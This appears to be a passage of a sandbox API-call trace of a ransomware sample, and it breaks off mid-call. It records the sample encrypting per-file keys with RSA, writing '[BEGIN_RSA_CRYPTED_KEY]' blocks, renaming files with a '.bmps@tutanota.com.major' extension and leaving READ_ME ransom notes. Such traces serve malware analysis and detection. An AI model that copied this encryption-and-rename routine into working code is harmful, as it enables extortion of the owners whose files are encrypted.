pszString="iEFoyrTBzHq9iF7vSZHDa/oRLtCj3gUotp9dM/LC7G/Vop+bvuCzQFb8/cBPeosN\n91HJg4RmA7zyxvuRDWJ4gFJ1RPfIP3HzYOUk7m+J3mnFipEt5OpACdl6JsiZmBK4\necyD/PjC5q5W1CXZnoPENMhAtg+JNHbcOvpAiQxcaZ3OWCfHSyOQ+5HnO2e9XY5G\nW1RC2eGI1t3ka8TBPQMP9Ua3VBziOdwuc3XS1ACTwU/0RJv+iJTgl4HLGIKhMPRd\naybq8VT9a1QFi4kd42dbjPv4pL5vMQnRnXt82l/+NDUbL1oTtacaLebRoVDxWidN\n4/9O+ArOsMhoYYnIpdgWkA==\n", pcchString=0x2e3f9a8) returned 1 [0302.167] WriteFile (in: hFile=0x1be0, lpBuffer=0x663500*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x663500*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.167] WriteFile (in: hFile=0x1be0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.168] CloseHandle (hObject=0x1be0) returned 1 [0302.168] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.169] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.169] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.170] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be0 [0302.170] GetFileSizeEx (in: hFile=0x1be0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.170] ReadFile (in: hFile=0x1be0, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.170] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.170] WriteFile (in: hFile=0x1be0, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.170] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.170] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.170] WriteFile (in: hFile=0x1be0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.171] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.171] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.171] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.171] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662718, pcchString=0x2e3f9a8 | out: pszString="HTn9mWICbpnIV8rzJi0l25SOstDTPfzoG/4tUsvTMbqvxiLswEI6nJdbK3W7B8wP\nezDVFYw5pVQCNzsgvPzyNVASi3YEhsr8m7VxAO/Xq2Pi/si80e7XBj2cpkswsWTx\nH6ZIvy8f91ModYQyJRGzFKkNNeqqDGnMwn4rrcNOzEE6NwOxx5mPLZyZTyg1h3v2\nlvrdmrSUmVgsJca4sxcQRG9tTKq6OGSp7pKKKcS3mI5tbN4mEcJHkBHoU22hQiSg\n9HWKgpOUx4AMwcuhBHWtJs8tT0C/Ub/Evj8VZNu5/eefCgyfw238lnBCMlWXs7yo\nF/tZjYFxO4Vlit2Uc1IFAQ==\n", pcchString=0x2e3f9a8) returned 1 [0302.172] WriteFile (in: hFile=0x1be0, lpBuffer=0x662718*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662718*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.172] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.172] WriteFile (in: hFile=0x1be0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.172] CloseHandle (hObject=0x1be0) returned 1 [0302.172] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.173] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.173] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\1504711307", dwFileAttributes=0x80) returned 1 [0302.174] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\1504711307" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\1504711307"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be0 [0302.175] GetFileSizeEx (in: hFile=0x1be0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3218) returned 1 [0302.175] ReadFile (in: hFile=0x1be0, lpBuffer=0x3446048, nNumberOfBytesToRead=0xc92, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xc92, lpOverlapped=0x0) returned 1 [0302.176] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=-3218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.176] WriteFile (in: hFile=0x1be0, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0xc92, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc92, lpOverlapped=0x0) returned 1 [0302.176] SetFilePointer (in: hFile=0x1be0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc92 [0302.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.176] WriteFile (in: hFile=0x1be0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.177] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.177] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662188, pcchString=0x2e3f9a8 | out: pszString="E27OnDjqrZSNEAFSCouug4tXrEVpuLSTA6OIJxBD/AkJT7rQtIkrw99D7f9UzwKe\nCKHo8xWxWKkTTEHvjPqZKT3ydOm5BgNEGXMrKhKbjnU460baDstohciPBomcOJTV\netQiGW58nfZ+Xf5rGvEiE5ylia02ozdXAGJs2aR7brB9I19gqf6mDLOu7UJULH/j\n8MPWmo7j43/DDh29YEbISQnl+o6uIOvvIgpLA7YHCfd0cPba3yUvV4er4ui3PRxw\n0OWvPSzwEPyoBAhF+X+PVw9EwJpQrAyo6jN6jKZ8mZVLrtIiWHOZW2NvE9XxEqO6\nfd3Z9DACvAgBkeH97kYooA==\n", pcchString=0x2e3f9a8) returned 1 [0302.177] WriteFile (in: hFile=0x1be0, lpBuffer=0x662188*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662188*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.177] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.177] WriteFile (in: hFile=0x1be0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.177] CloseHandle (hObject=0x1be0) returned 1 [0302.177] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\1504711307" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\1504711307"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\214513\\1504711307.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\214513\\1504711307.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.179] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb619b0e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaa6b70e0, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x512e8db7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37568 [0302.179] SetLastError (dwErrCode=0x0) [0302.179] GetLastError () returned 0x0 [0302.179] SetLastError (dwErrCode=0x0) [0302.179] GetLastError () returned 0x0 [0302.179] SetLastError (dwErrCode=0x0) [0302.180] FindNextFileW (in: hFindFile=0x2f37568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb619b0e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xaa6b70e0, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x512e8db7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] GetLastError () returned 0x0 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] GetLastError () returned 0x0 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] FindNextFileW (in: hFindFile=0x2f37568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb63fd86, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfb63fd86, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] GetLastError () returned 0x0 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] SetLastError (dwErrCode=0x0) [0302.180] FindNextFileW (in: hFindFile=0x2f37568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb63fd86, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xa96e116a, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa06de074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] GetLastError () returned 0x0 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] SetLastError (dwErrCode=0x0) [0302.180] FindNextFileW (in: hFindFile=0x2f37568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512e8db7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x512e8db7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x512e8db7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] GetLastError () returned 0x0 [0302.180] SetLastError (dwErrCode=0x0) [0302.180] SetLastError (dwErrCode=0x0) [0302.181] FindNextFileW (in: hFindFile=0x2f37568, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512e8db7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x512e8db7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x512e8db7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0302.181] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.181] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.181] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be4 [0302.182] GetFileSizeEx (in: hFile=0x1be4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.182] ReadFile (in: hFile=0x1be4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.182] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.182] WriteFile (in: hFile=0x1be4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.182] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.182] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.182] WriteFile (in: hFile=0x1be4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.183] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.183] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.183] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.183] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662188, pcchString=0x2e3f9a8 | out: pszString="4JxoeEAcchsYNh+evqoCFJ+ZbJVyZJOmJPCF9LPtrpMpH2AnPv9vEXgqvOYPCso9\nN82Lsmrxf6V+cC7wP3I3KYYCos8C7PwLFqyM1MPlW93XZgbts0ScAskWk/ap6opr\n2CN6DI/iQAKqXQoq9ualLuikr/wthi5deyUZpfzwZqr0CEvRThTEkzqNEPl0bLDs\nS51CuWLKQtTM1qekQxUXUlKpIhlPxsDSxPbNzTdIbbZQHdsSAVxy2VrJPiksiU2A\nVi+N1e9G0wErpS8jvVdXB0hwQXuwEjsLjtypLC5ifsJhZPIiIWjD0cKM2p3Vgauy\n9tKe4YzFNv/1kGi3qCgrlw==\n", pcchString=0x2e3f9a8) returned 1 [0302.183] WriteFile (in: hFile=0x1be4, lpBuffer=0x662188*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662188*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0302.183] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.183] WriteFile (in: hFile=0x1be4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.183] CloseHandle (hObject=0x1be4) returned 1 [0302.183] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0302.185] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0302.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0302.185] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\243289\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\243289\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1be4 [0302.186] GetFileSizeEx (in: hFile=0x1be4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0302.186] ReadFile (in: hFile=0x1be4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.186] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0302.186] WriteFile (in: hFile=0x1be4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0302.186] SetFilePointer (in: hFile=0x1be4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0302.186] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0302.186] WriteFile (in: hFile=0x1be4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0302.187] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0302.187] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0302.187] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0302.187] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x6629e0, pcchString=0x2e3f9a8 | out: pszString="9he2IKi36MrKiw9WCFVM8R707O9A893dso2OuO94Ng6Qi9fez2L0wMvwPlqJykfo\nD1E7Jf4BNApHwJNTn+2/AHLPuLt+y72jBindLEBbO+jxTrkG3u0F1e8HFwuWVALi\niOaelqOZeflEfqC7WEjCBjmUnvwM+34nE3bZIzdbjfUDDF30QiZolhp5aZgixw4o\n7ZTchhTbpUMnoXGh1j8Bq2t/Jkv8am8+j7cNxUS1vZVRxVedIDNbBZ1BqJqz3VHg\nhIxeE+gLM/0hi+OOAjyxLSOL7f5kBNTVgls8IGviqUZTKSnz0+8Ufiqsf2JRqCfq\nOroUNlurio4F2Mv6En1Fhg==\n", pcchString=0x2e3f9a8) returned 1 [0302.187] WriteFile (in: hFile=0x1be4, lpBuffer=0x6629e0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 